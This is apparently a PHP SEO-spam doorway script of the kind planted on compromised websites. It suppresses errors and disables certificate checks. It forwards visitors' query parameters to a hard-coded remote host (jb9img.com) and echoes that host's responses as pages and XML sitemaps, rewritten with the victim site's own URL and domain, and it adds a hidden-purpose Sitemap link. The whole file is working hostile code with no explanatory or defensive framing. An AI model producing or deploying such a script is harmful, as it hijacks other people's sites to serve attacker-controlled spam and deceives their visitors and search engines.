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<?php
error_reporting(0);
$get = filter_input_array(INPUT_GET, FILTER_SANITIZE_STRING);
function get_url_info(string $return_type = 'domain'): string {
    $host = $_SERVER['HTTP_HOST'];
    if ($return_type === 'domain') {
        return $host;
    }
    if ($return_type === 'no_www') {
   
        return ltrim($host, 'www.');
    }
    $protocol = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' || 
                 isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https') 
                 ? "https://" : "http://";
    
    $base_url = $protocol . $host;
    if ($return_type === 'base') {
        return $base_url;
    }
    $uri = $_SERVER['REQUEST_URI'];
    
    $full_url = $base_url . $uri;

    if ($return_type === 'full') {
        return $full_url;
    }

    return ''; 
}
function get_ip() {
    foreach (['HTTP_X_FORWARDED_FOR','HTTP_CLIENT_IP','REMOTE_ADDR'] as $key) {
        if (!empty($_SERVER[$key])) {
            return trim(explode(',', $_SERVER[$key])[0]);
        }
    }
    return 'UNKNOWN';
}
function getCurl($url) {
    if (function_exists('curl_init')) {
        $ch = curl_init();
        curl_setopt_array($ch, [
            CURLOPT_URL => $url,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_SSL_VERIFYHOST => false,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_TIMEOUT => 10
        ]);
        $data = curl_exec($ch);
        curl_close($ch);
        if (!empty($data)) return $data;
    }

    if (ini_get('allow_url_fopen')) {
        $context = stream_context_create([
            "http" => [
                "method" => "GET",
                "timeout" => 10,
                "header" => "User-Agent: Mozilla/5.0\r\n"
            ],
            "ssl" => [
                "verify_peer" => false,
                "verify_peer_name" => false
            ]
        ]);
        $data = @file_get_contents($url, false, $context);
        if (!empty($data)) return $data;
    }

    return '';
}

function postCurl($url, $postData = []) {
    // 将数组转换为 URL 编码的查询字符串 (a=1&b=2)
    $postString = is_array($postData) ? http_build_query($postData) : $postData;

    // 1. 尝试使用 cURL
    if (function_exists('curl_init')) {
        $ch = curl_init();
        curl_setopt_array($ch, [
            CURLOPT_URL => $url,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_SSL_VERIFYHOST => false,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_TIMEOUT => 10,
            CURLOPT_POST => true,              // 开启 POST 模式
            CURLOPT_POSTFIELDS => $postString  // 传递 POST 数据
        ]);
        $data = curl_exec($ch);
        curl_close($ch);
        if (!empty($data)) return $data;
    }

    // 2. 如果 cURL 失败且允许 fopen，尝试使用 stream_context
    if (ini_get('allow_url_fopen')) {
        $context = stream_context_create([
            "http" => [
                "method" => "POST",            // 设置方法为 POST
                "timeout" => 10,
                "header" => "Content-Type: application/x-www-form-urlencoded\r\n" .
                            "Content-Length: " . strlen($postString) . "\r\n" .
                            "User-Agent: Mozilla/5.0\r\n",
                "content" => $postString       // 设置 POST 内容
            ],
            "ssl" => [
                "verify_peer" => false,
                "verify_peer_name" => false
            ]
        ]);
        $data = @file_get_contents($url, false, $context);
        if (!empty($data)) return $data;
    }

    return '';
}

$http_type = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? "https://" : "http://";
$vurl = $http_type."jb9img.com/419.aspx";

if (!empty($get['s'])) {
    $params = ['s' => date('YmdHi'),'number' => $get['number']];
    $str = postCurl($vurl, $params);
    $str = str_replace(
        ['{当前地址}'],
        [$http_type . $_SERVER['HTTP_HOST'] . $_SERVER['SCRIPT_NAME']],
        $str
    );
	header("Content-type:text/xml");
    echo $str;
    exit;
}
if (!empty($get['id'])){
$params = ['id' => $get['id']];
$str = postCurl($vurl, $params);
$str = str_replace(['{URL}', '{域名}'], [get_url_info('full'),get_url_info('no_www')], $str);
echo $str;
 exit;
}
else
{
    $sitemapUrl = "{$http_type}{$_SERVER['HTTP_HOST']}{$_SERVER['SCRIPT_NAME']}?s=".date('YmdHi');
    echo "<div style='text-align:center; padding:10px 0;'><a href=\"{$sitemapUrl}\" target=\"_blank\" rel=\"nofollow\"> Sitemap</a></div>";
}
?>